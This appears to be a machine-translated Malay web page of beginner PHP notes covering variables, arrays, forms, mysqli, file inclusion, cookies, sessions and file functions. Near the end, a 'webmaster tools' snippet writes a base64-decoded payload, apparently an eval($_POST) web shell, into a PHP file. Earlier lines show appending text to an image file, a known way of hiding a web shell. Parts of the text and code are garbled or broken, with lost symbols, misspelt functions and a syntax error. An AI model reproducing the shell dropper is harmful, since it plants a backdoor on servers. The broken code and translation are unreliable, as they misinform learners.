Koleksi paling komprehensif nota pengenalan PHP dalam sejarah (perkongsian ringkasan)

WBOY
Lepaskan: 2023-04-10 20:44:01
ke hadapan
7671 orang telah melayarinya

Artikel ini membawakan anda nota pengenalan PHP. Mata pengetahuan yang direkodkan di dalamnya adalah sangat terperinci Sebagai program bahasa, kekhususan bahasa PHP secara beransur-ansur saya harap semua orang dapat merasakan pesona PHP daripadanya . , semoga membantu semua.

Koleksi paling komprehensif nota pengenalan PHP dalam sejarah (perkongsian ringkasan)

Pengenalan

PHP (Hypertext Preprocessor) pada asalnya adalah singkatan dari Personal Home Page dan telah dinamakan semula secara rasmi sebagai "PHP :Hypertext Prapemproses". Sejak Internet domestik mula berkembang pada tahun 1990-an, maklumat Internet telah merangkumi hampir semua bidang pengetahuan dalam aktiviti harian kita, dan secara beransur-ansur menjadi bahagian yang amat diperlukan dalam kehidupan, pengajian dan kerja kita. Menurut statistik, sejak 2003, saiz halaman web negara saya pada asasnya mengekalkan kadar pertumbuhan dua kali ganda, dan menunjukkan arah aliran menaik. Sebagai bahasa pembangunan program laman web yang paling popular hari ini, bahasa PHP mempunyai kelebihan kos rendah, kelajuan pantas, mudah alih yang baik, dan perpustakaan fungsi terbina dalam yang kaya, oleh itu, ia digunakan oleh semakin banyak syarikat dalam pembangunan laman web. Walau bagaimanapun, dengan peningkatan berterusan Internet, banyak masalah telah timbul dalam bahasa PHP.

Mengikut keperluan tapak web dinamik, bahasa PHP, sebagai program bahasa, kekhususannya secara beransur-ansur muncul dalam proses permohonan, dan tahap teknikalnya secara langsung akan mempengaruhi kecekapan pengendalian tapak web. Ciri-cirinya ialah ia mempunyai kod sumber terbuka dan sangat serupa dengan bahasa tujuan umum seperti bahasa C dari segi pengaturcaraan Oleh itu, ia mudah difahami dan mempunyai kebolehkendalian yang kuat semasa operasi. Pada masa yang sama, bahasa PHP mempunyai tahap penghantaran, pemprosesan dan output data yang tinggi, dan boleh digunakan secara meluas dalam sistem Windows dan pelbagai jenis pelayan Web. Jika jumlah data adalah besar, bahasa PHP juga boleh meluaskan permukaan pautan dan menyambung ke pelbagai pangkalan data untuk mengurangkan tekanan penyimpanan, pengambilan dan penyelenggaraan data. Dengan perkembangan teknologi, enjin carian bahasa PHP juga boleh disesuaikan untuk menyediakan perkhidmatan yang diperibadikan, seperti mengklasifikasikan, mengumpul dan menyimpan data mengikut keutamaan pelanggan, yang meningkatkan kecekapan operasi data.

Ciri Utama

(1) Sumber Terbuka dan Percuma

Memandangkan kod sumber penterjemah PHP adalah awam, faktor keselamatan adalah agak tinggi Laman web mewah boleh menukar penterjemah PHP itu sendiri. Selain itu, penggunaan persekitaran runtime PHP juga adalah percuma.

(2) Kepantasan

PHP ialah bahasa yang sangat mudah dipelajari dan digunakan Ciri sintaksnya serupa dengan bahasa C, tetapi ia tidak mempunyai operasi alamat bahasa C yang kompleks Selain itu, konsep berorientasikan objek ditambah, dan ia mempunyai peraturan tatabahasa yang ringkas, menjadikannya sangat mudah untuk dikendalikan dan disunting, dan sangat praktikal.

(3) Kebolehlanjutan sambungan pangkalan data

PHP boleh mewujudkan sambungan dengan banyak pangkalan data arus perdana, seperti MySQL, ODBC, Oracle, dll. PHP menggunakan fungsi terkumpul yang berbeza untuk mewujudkan sambungan dengan pangkalan data ini Untuk sambungan, PHPLIB ialah perpustakaan asas yang biasa digunakan yang disediakan untuk urus niaga umum.

(4) Gunakan berorientasikan proses dan berorientasikan objek bersama-sama

Dalam penggunaan bahasa PHP, anda boleh menggunakan berorientasikan proses dan berorientasikan objek masing-masing, dan anda boleh mencampurkan proses PHP- berorientasikan dan berorientasikan objek bersama-sama, yang merupakan sesuatu yang tidak dapat dilakukan oleh banyak bahasa pengaturcaraan.

Kelebihan

(1) Popular dan mudah digunakan

PHP merupakan bahasa pengaturcaraan yang paling popular pada masa ini, tidak ada keraguan mengenainya. Ia memacu lebih daripada 200 juta tapak web di seluruh dunia, dan lebih daripada 81.7% tapak web awam di dunia menggunakan PHP di bahagian pelayan. Struktur data PHP yang biasa digunakan semuanya terbina dalam Ia mudah dan mudah digunakan, tidak rumit sama sekali, dan keupayaan ekspresinya agak fleksibel.

(2) Terdapat banyak jawatan pembangunan

Dalam pengaturcaraan tapak web sebelah pelayan, PHP akan membantu anda mencari pekerjaan dengan lebih mudah. Banyak syarikat berkaitan Internet menggunakan rangka kerja pembangunan PHP, jadi boleh dikatakan permintaan pasaran untuk pengaturcara pembangunan PHP masih agak besar.

(3) Masih membangun

PHP sentiasa serasi dengan teknologi seperti penutupan dan ruang nama, sambil mengambil kira prestasi dan rangka kerja yang popular pada masa ini. Selepas versi 7, ia telah menyediakan aplikasi berprestasi tinggi.

(4) Kebolehimplanan yang kuat

Semasa proses menaik taraf kerentanan tampalan bahasa PHP, bahagian teras bahasa PHP mudah dilaksanakan dan cepat diimplan.

(5) Kebolehskalaan yang kuat

Semasa proses aplikasi pangkalan data, bahasa PHP boleh mendapatkan semula pelbagai jenis data daripada pangkalan data dan mempunyai kecekapan pelaksanaan yang tinggi.

Kelemahan

(1) Tafsiran PHP dan mekanisme operasi

Dalam PHP, semua pembolehubah adalah peringkat halaman, sama ada pembolehubah global atau ahli statik kelas, akan dikosongkan selepas halaman dilaksanakan.

(2) Kepincangan reka bentuk dan kekurangan perhatian PHP dipanggil bahasa legap kerana tiada jejak tindanan dan pelbagai input rapuh. Tiada falsafah reka bentuk yang jelas. PHP awal dipengaruhi oleh Perl, perpustakaan standard tanpa parameter telah diperkenalkan dari bahasa C, dan bahagian berorientasikan objek dipelajari dari C dan Java.

(3) Sokongan yang lemah untuk rekursi

PHP tidak pandai membuat rekursi. Had bilangan fungsi rekursif yang boleh diterimanya adalah jauh lebih kecil daripada bahasa lain.


Sintaks PHP

gema "Hello World!"; //Setiap ayat berakhir dengan

?>


Ulasan:

//...Ulasan baris tunggal

#......Komen satu baris

/*..........*/ Komen berbilang baris


Pembolehubah:

$array=NAME; Nama pembolehubah mesti bermula dengan huruf atau garis bawah, bukan nombor dan tidak boleh ada ruang di tengah! Kes sensitif!

$x=5; $X=7; Output adalah hasil yang berbeza

<?php
$a = 1;
$A = 2;
echo $a . "<br>";
echo $A;
?>
Salin selepas log masuk


Pembolehubah setempat

<?php
$a=1; //全局变量
function test() { //声明一个函数,名字为 test
    $a=15; //函数内的变量,为局部变量
    echo "内部输出结果:".$a;
    }
test();
echo "<br>";
echo "外部输出结果:".$a;
?>
Salin selepas log masuk


<?php
$a=1;
function test() { //声明一个函数,名字为 test
    global $a; //在函数内声明并引用外部变量,注意这里是小写 global
    echo $a;
    echo "<br>";
}
test(); //使用函数
echo $a;
?>
Salin selepas log masuk


<?php
$a=10;
$b=20;
$c=30;
function test() {    
$a=100;
$GLOBALS[&#39;a&#39;]=$GLOBALS[&#39;b&#39;]+$GLOBALS[&#39;c&#39;]; //引用全局变量,这里的 GLOBALS 必须大写
  echo $a."<br>";
}
Test(); //函数名不区分大小写
 echo "<br>";
echo $a;
?>
Salin selepas log masuk


<?php
function test() {
    static $a = 0; //静态作用域,保留变量值
    echo $a . "";
    $a++;
}
test();//不使用static的话,每次输出都是 0
echo "<br>";
test();
echo "<br>";
test();
?>
Salin selepas log masuk


skop parameter parameter

<?php
$a = 10;
$b = 20;
function test() {
    $a = 30;
    $b = 40;
    $c = $a + $b;
    echo  "函数内运算值:".$c;
    echo "<br>";
}
test();
$c = $a + $b;
echo "函数外运算值:".$c;
?>
Salin selepas log masuk


Perbezaan antara gema dan cetakan:

gema "123","456","789";//Boleh mengeluarkan berbilang rentetan secara berterusan

cetak "123","456" ; //Ralat output


Pemutus talian:

gema "
";

gema "n";

gema PHP_EOL; //Pemutus talian


Jenis pemboleh ubah kembali: var_dump

<?php
$a = "1111";
$b = 123;
$c = null;
echo var_dump($a) . "<br>";
echo var_dump($b) . "<br>";
echo var_dump($c) . "<br>";
$d = array(&#39;a&#39;, 1, abc); //数组
echo var_dump($d) . "<br>";
$e = true;
echo var_dump($e);
?>
Salin selepas log masuk


<?php
$text1="ni hao";
$text2="hahaha";
echo $text1."        ".$text2."<br>"; //引用多个变量用 点 . (英文)连接     为空格
$a = strlen($text1);//计算字符串长度数
echo $a;
?>//空格也算作一个字符
Salin selepas log masuk


Rujukan yang kuat dan rujukan yang lemah

<?php
$text1 = "ni hao";
echo "$text1" . "<br>";// “ ” 双引号输出会显示变量值
echo &#39;$text1&#39;;// ‘’ 单引号会显示变量名本身 
?>
Salin selepas log masuk


Peningkatan dan pengurangan output

<?php
$x = 10;
echo ++$x;//先自增后输出
echo "<br>";
$a=15;
echo --$a . "<br>";//先自减后输出
$y = 20;
echo $y++ . "<br>";//先输出后自增
$b=30;
echo $b--;//先自增后输出
?>
Salin selepas log masuk


jika penghakiman bersyarat

<?php
$x = 10;
$y = 20;
if ($x > $y) {//判断 x 和 y 的大小,如果满足 $x > $y 就输出 true 
    echo "true";
}else if($x==$y) {//else if 如果上面的判断不满足,再次判断  $x==$y  是否相等 ,如果满足就输出  $x."等于"$y;
    echo $x."等于"$y;
}
else {//如果上面的判断都不满足就输出 false
    echo "false";
}
?>
Salin selepas log masuk


<?php
$x= (3>4)? "true":"false";//三元运算符
echo $x;
?>
Salin selepas log masuk


tukar penghakiman

<?php
$a="abc";
switch ($a) {
    case &#39;red&#39;:
        echo "red";
        break; //跳出整个循环体,continue跳出本次循环体,继续执行后面的循环体。
    case &#39;green&#39;:
        echo "green";
        break;
    case &#39;black&#39;:
        echo "black";
        break;
    default:
        echo "not color";
}
?>
Salin selepas log masuk


Array

<?php
$cars = array("BMW", "BinLi", "大众");
echo "I like " . "$cars[0]", "  ", "$cars[1]", "  ", "$cars[2]";
?>
Salin selepas log masuk

<?php
$cars = array();
$cars[0] = "BMW";
$cars[1] = "BINlix";
$cars[2] = "大众";
echo "I like " . "$cars[0]", " ", "$cars[1]", " ", "$cars[2]";
?>
Salin selepas log masuk

<?php
$cars = array();
$cars[0] = "BMW";
$cars[1] = "BINlix";
$cars[2] = "大众";
echo count($cars) . "<br>";// count 返回数组长度
echo "I like " . "$cars[0]", " ", "$cars[1]", " ", "$cars[2]";
?>
Salin selepas log masuk


count Dapatkan panjang tatasusunan

var_dump() Kembalikan jenis data

strlen(); 🎜 >

array(); Cipta tatasusunan

$arrayname=array('name' =>"icq",'age'=>20,'jantina'=>true); / Tatasusunan bersekutu

gema $arrayname["name"];

$arrayName=array('1',"zhangsan",20,false,"beijingchangping");//nombor jenis Array

echo $arrayName[3]; //Boolean true prints 1


untuk gelung melalui tatasusunan:

    <?php
$cars = array("BMW", "BinLi", "大众");
$arrlength = count($cars);
for ($x = 0; $x < $arrlength; $x++) {
    echo $cars[$x] . "<br>";
}//只输出值
?>
Salin selepas log masuk


    <?php
$cars = array("BMW", "BinLi", "大众");
$arrlength = count($cars);
print_r($cars);//数据类型,下标值,值都打印出来
?>
Salin selepas log masuk


关联数组:

<?php
$age = array("gao" => "30", "li" => "20", "zhang" => "10");
echo "gao is    " . "  " . $age[&#39;gao&#39;] . "  " . "     years old.";
?>
Salin selepas log masuk


关联数组2:

<?php
$age = array();
$age["sun"] = ["20"];
$age["liu"] = ["30"];
$age["zhang"] = ["40"];
print_r($age);
?>
Salin selepas log masuk


多维数组

<?php
$cars = array(
    array("111", 100, 50),
    array("222", 200, 100),
    array("333", 300, 150),
);
echo $cars[1][0];
?>
Salin selepas log masuk


<?php
$age = array();
$age["sun"] = ["20"];
$age["liu"] = ["30"];
$age["zhang"] = ["40"];
// print_r($age);
foreach ($age as $key => $value) {
    echo "name is     " . $key . "   old    " . $value . "<br>";
}
?>
Salin selepas log masuk


排序:

<?php
$cars = array("Blinli", "wzida", "muling");
$x = sort($cars);
echo $x;
print_r($cars);
?>
Salin selepas log masuk

<?php
$cars = array("Blinli", "wzida", "muling");
$x = rsort($cars);
echo $x;
print_r($cars);
?>
Salin selepas log masuk



$GLOBALS — 引用全局作用域中可用的全部变量

<?php
$x = 10;
$y = 29;
function add() {
    // global $x, $y;
    // $z = $x + $y;
    // echo $z;
    $GLOBALS[&#39;z&#39;] = $GLOBALS[&#39;x&#39;] + $GLOBALS[&#39;y&#39;];
    echo $GLOBALS[&#39;z&#39;];
}
add();
?>
Salin selepas log masuk


PHP $_REQUEST 用于收集 HTML 表单提交的数据

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
    <form method="POST" action="request.php">
        name:<input type="text" name="name">
        <br>
        <input type="submit" name="submit">
</body>
</html>
Salin selepas log masuk

<?php
$name = $_REQUEST[&#39;name&#39;];
echo $name;
?>
Salin selepas log masuk


循环:

<?php
$a = 0;
while ($a <= 10) {
    echo "number is :" . $a . "<br>";
    $a++;
}
?>
Salin selepas log masuk


do while 循环:

<?php
$i = 0;
do { //先循环
    $i++;
    echo "number is :" . $i . "<br>";
} while ($i < 5);//再判断
?>
Salin selepas log masuk


<?php
function add($x, $y) {
    $z = $x + $y;
    return $z;
    // echo $z;
}
// add(5, 15);
echo "1+16" . "=" . add(1, 16);
?>
Salin selepas log masuk


函数:

<?php
function add() {
    $x = 10;
    $y = 20;
    $z = $x + $y;
    echo $z;
}
add();
?>
 
<?php
function add($x, $y) {
    $z = $x + $y;
    echo $z;
}
add(5, 15);
?>
Salin selepas log masuk

类和对象: 类 − 定义了一件事物的抽象特点。类的定义包含了数据的形式以及对数据的操作。 对象 − 是类的实例。

<?php
class Person { //定义一个类,名称为 Person 使用驼峰命名法,不能用数字开头,类似于变量的命名方式。
    var $name; //定义一个变量,值为空
    function say() { //定义一个函数
    echo "my name is ".$this->name;
                }
}
$xm=new Person; //实例化对象,具体的使用方式
$xm->name="小明"; //对象属性的赋值
$xm->say(); //访问对象的方法
?>
Salin selepas log masuk


超级全局变量:

<?php
$string = "123"; //变量
define("DEMO", true); //常量
print_r($GLOBALS); //超级全局变量
?>
Salin selepas log masuk

$_REQUEST 可以接收 GET POST 发送的数据包


$_SERVER['PHP_SELF']; //显示头部信息

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8">
</head>
<body>
<!-- <form action="" method="GET">
    username:<input type="text" name="name">
    password:<input type="password" name="password">
    <input type="submit" name="submit" value="GET">
</form>
-->
<form action="<?php echo $_SERVER[&#39;HTTP_SELF&#39;]; ?>" method="POST">
    username:<input type="text" name="name">
    password:<input type="password" name="password">
    <input type="submit">
</form>
 
<?php
echo "提交的内容:   <font style=&#39;color:red&#39;>" . @$_POST["name"] . @$_POST["password"] . "</font>"
?>
</body>
</html>
//在PHP中通过打印函数引入我们的HTML+CSS+JS
Salin selepas log masuk


PHP 连接MYSQL数据库

1、mysql PHP<5.5版本 2012年后不建议使用,安全性差

2、mysqli mysql的扩展,mysql的升级版,安全性高,只能用于操作mysql数据库

一、面向对象的方法 NEW

二、面向过程的使用方法

3、PDO PHP DATA OBJECT 目前支持链接数据库类型12种,安全性高,基于面向对象的使用方式。

<?php
$hostname="127.0.0.1";
$name="root";
$pass="root";
$db="messagebox";
$conn=mysqli_connect($hostname,$name,$pass,$db);
if (!$conn) {    
    die("连接失败".mysqli_connect_error());/* mysqli_connect_error()该函数保存了连接数据库的错误信息    */
}
/*create table students(
uid int(15) not null auto_increment,
name varchar(50) not null,
gender char(2),
message text,
primary key(uid)
)*/
$sql="select * from users where id=1 ";
// mysqli_query($conn,$sql);执行成功返回true
$query_result=mysqli_query($conn,$sql);
if ($query_result) {
    /*如果执行成功就会执行如下的代码*/
    $result_numbers=mysqli_num_rows($query_result);/*查询出数据库中记录条数,具体的数据没出来*/
    if ($result_numbers>0) {
        $all_result=mysqli_fetch_all($query_result);
        /*mysqli_fetch_assoc将查询的结果转换为关联型数组*/
        //mysqli_fetch_array()关联型和数字型
        //mysqli_fetch_all()数字型
        //var_dump($all_result);
        //$all_result它是一个mysqli_fetch_all处理之后的数据,该数据是一个数组,数组的长度取决于sql的执行
        //如果结果是一个记录,则$all_result的长度是1
        //如果结果是二个记录,则$all_result的长度是2
        //$all_result保存的内容也是数组,需要遍历显示数据内容
        foreach ($all_result as $key => $value) {
            foreach ($value as $key => $value) {
                echo $value."\n";
            }
        }
    }
    else{
        echo "没数据!";
    }
}
else{
    echo "查询失败".mysqli_error($conn);
    /*
    mysqli_error($conn)保存了执行SQL语句的错误信息
     */
}
mysqli_close($conn);
?>
Salin selepas log masuk

解决乱码:

echo ""; //指定字符集

或者:

header("Content-Type:text/html;charset=utf-8");


PHP 集合 HTML

<?php
// echo "<meta charset=&#39;utf-8&#39;>"; //指定字符集
header("Content-Type:text/html;charset=utf-8");
echo &#39;<form method="POST" action="#">
        name:<input type="text" name="name">
        psswd:<input type="password" name="pwd">
        <input type="submit" name="submit">
    </form>&#39;;
 
$name = @$_POST[&#39;name&#39;]; //$_POST 对应 form method="POST"
$pwd = @$_POST[&#39;pwd&#39;]; //接收数据
 
if ($name != "" && $pwd != "") {
//判断当前提交的数据是否为空,不为空的情况下执行下面的代码
    echo "UserName is : " . $name . "<br>";
    echo "PassWord is : " . $pwd;
}
?>
Salin selepas log masuk

(isset($name) && isset($pwd))

isset 检测变量是否设置,不为NULL

如果检测的对象是""(空),返回值是 1 false

var_dump 判断数据类型


PHP 常量

使用 define(变量的KEY(最好大写),变量的value,true/false,)

define("UNMBER","this is a hacker");//不能用 $ 数字 开头

<?php
define("UNMBER", "this is a hacker", true); //定义常量
echo UNMBER . "<br>";//true 忽略大小写,默认是false
echo unmber;
?>
Salin selepas log masuk
<?php  //结合函数使用
define("UNMBER", "this is a hacker", true); //定义常量
echo UNMBER . "<br>";
echo unmber . "<br>";
function test() {
    echo UNMBER;
}
test();
?>
Salin selepas log masuk

<?php
$string="1234";
echo strlen($string); //计算字符串长度
echo $string[0]; //以下标方式取值
?>
Salin selepas log masuk

反转:

<?php
$string="1234";
echo strlen($string); //计算字符串长度
echo $string[0]; //以下标方式取值
$string1=strrve($string);//反转
echo $string1; // 4321
$string2=substr($string,1);//舍弃第一位的数据 -1 只保留最后一位 -2只保留最后2位
echo $string2; // 234
echo trim("   123    456     789      ");//去除字符串前后的空格123     456     789
?>
Salin selepas log masuk

cmd-->php~\php -r "phpinfo();"

php~\php -f ".php文件,可以拖拽到CMD窗口"

$str1 = "123";

echo $str1 .= "456";


PHP 表单


HTML 

style 选择器:

.error{}

p{}

#ID {}

echo htmlspecialchars(""); //实体化代码输出,忽略代码本身输出内容

echo stripcslashes("i\\m abc"); //删除转义符

trim 去除左右两端的空格

echo trim("   123    ");

preg_match( /匹配的表达式/(要用正则表达式),被匹配的字符串),返回值是 int (0|1)  bool

匹配上,返回 1 false 否则为 true 0

echo preg_match("/php/", "you know the php is bester language");

!preg_match 取反

Delimiter must not be alphanumeric or backslash in  分隔符不能是字母数字和  反斜线  


span 组合行内元素 class 

文件包含:引入某些文件,去使用该文件的内容。

方式有4种:

1、include "文件路径/文件名";

    如果引入文件错误,会报警告Warning,后续代码依旧会执行。

2、include_once "文件";

    用法同 include 基本一致,只需包含一次,后续可一直使用。

3、require "文件";

    包含文件时,如果找不到,会报错ERROR,后续的代码均无法执行。

4、require_once "文件";

    用法同require一致,只需包含一次,后续可一直使用。

支持目录跳转,可以使用相对路径 ../../..file 或者绝对路径

copy 1.png/b+1.txt/a 2.png

a 表示是ASCII格式

b 表示该文件是二进制文件

把文本文件加装到图片文件中。

文件包含,引入某些文件,去使用该文件中内容,在PHP中文件包含的函数有4个:

    (1)include "文件" /include("文件")

    包含文件时,如果找不到被包含的文件会警告,后续的代码依旧知道

    (2)include_once "文件"

    用法和include用法基本一致,包含文件只需要一次即可,后续可以一直使用

    (3)require "文件"

    包含文件时,如果找不到会报致命错误,其后续的代码均不执行

    (4)require_once "文件"

    用法和require用法一致,包含文件时只需要包含一次即可

被包含过来的文件中,如果按照PHP的标准语法来写代码,那么就会执行该代码;如果不是PHP语法写的文件,就会读取出来

copy 1.png/b+1.txt/a 2.png

a 表示该文件是ASCII文本格式

b 表示该文件是二进制文件


pengurusan sesi php

Sesi: Kaedah atau cara untuk menghantar data antara pelayan dan pengguna Satu saluran perlu diwujudkan sebelum ini saluran boleh menghantar data. Sesi diuruskan melalui kuki pada klien dan sesi diuruskan pada pelayan melalui sesi.

Perbandingan kuki dan sesi:

1 Kuki disimpan dalam penyemak imbas pengguna dan ditetapkan oleh pelayan melalui set-kuki dalam pakej pemulangan keadaan sesi antara pelayan. Data kuki hanya boleh diperolehi selepas berjaya log masuk Data ini biasanya sensitif masa dan pengguna perlu log masuk semula selepas tamat tempoh. Dengan data kuki, setiap permintaan pengguna akan membawa kuki, dan pelayan akan mengesahkan kesahihan dan ketepatan masa kuki tersebut perlu mengikut dasar penyemak imbas

2 di bahagian pelayan dan mewakili keadaan sesi pengguna dan masa pelayan dan kuki berada dalam surat-menyurat satu dengan satu Pelayan juga perlu mengingati pengguna yang log masuk ke tapak. direktori tmp dalam bentuk fail , formatnya ialah: sess_XXXX (contohnya: sess_nti62h7rrrnb5udpvfbad13cg5s9kqrm Kuki yang diberikan oleh pelayan kepada penyemak imbas pada masa ini ialah: nti62h7rrrnb5udpvfbad13crmg5s9k sebagai pelayan akan memerlukan pengguna untuk log masuk semula.


Cara melihat kuki:

1 Masukkan dalam URL halaman yang sedang anda log masuk, javascript:alert(document.cookie)

2. . Masukkan dalam konsol: alert(document.cookie) atau document.cookie

3. Dalam alat pengurusan rangkaian yang disertakan dengan penyemak imbas.


setcookie("key","123"); hendaklah ditulis sebelum kod HTML.

setcookie("name","456",time() 5);

gema $_COOKIE["name"]."
";

setcookie("name","value",time()-3600);//Delete cookie

print_r($_COOKIE);

$_SEESION["id"]=1;

$_SEESION["demo"]=true;

unset($_SEESION["id"]);//Padamkan nilai dalam seesion

session_destroy() ;/ /Kosongkan semua nilai SEESION


session_start();//Open SESSION

pemalam pembangun web


fopen (cara membuka fail,,,):

  • r Baca sahaja

  • r Baca dan tulis

  • w Terbuka untuk menulis, buat fail jika ia tidak wujud

  • a Tambah kandungan

  • a Baca dan tambahkan

$file=fopen("test.txt","a ");

fread($file,1024);

feof (); Periksa sama ada penghujung fail dicapai

fclose($NAME); >

r Baca sahaja

r Baca dan tulis

w Buka untuk menulis, cipta fail jika ia tidak wujud

a Tambah kandungan

a Baca dan tambah, jika fail tidak wujud Kemudian buat fail

$file=fopen("test.txt","a ");

Baca fail

fread($file,1024); // Baca fail

feof(); Baca fail

sementara (!feof($file)) { //Tentukan sama ada penghujungnya tercapai

echo fgets($file)."
";//Sahaja baca satu baris pada satu masa

}

sambil ( !feof($file)) { //Tentukan sama ada penghujungnya tercapai

echo fgetc($file). "
";//Hanya baca satu baris pada satu masa

}

nyahpaut(); 🎜>

fputs();

echo file_get_contents("123. txt"); ,"" );

echo file_get_contents("1.php");

Alat Juruweb

$str="PD9waHAgcGhwaW5mbygpOz8 ";


$shell=base64_decode ($str);

fputs(fopen("ceshi.php", "w"),$shell );

Gunakan base64_encode untuk menyulitkan dan base64_decode untuk menyahsulit

fputs(fopen ("ceshi.php", "w"),base64_decode("PD9waHAgJGV2YWw9KCRfUE9TVFsnay=ddKTs/Pg));

linen baharu fail

Jika anda berminat, anda boleh klik pada "Tutorial Video PHP" untuk mengetahui lebih lanjut tentang pengetahuan PHP.

Atas ialah kandungan terperinci Koleksi paling komprehensif nota pengenalan PHP dalam sejarah (perkongsian ringkasan). Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
php
sumber:csdn.net
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan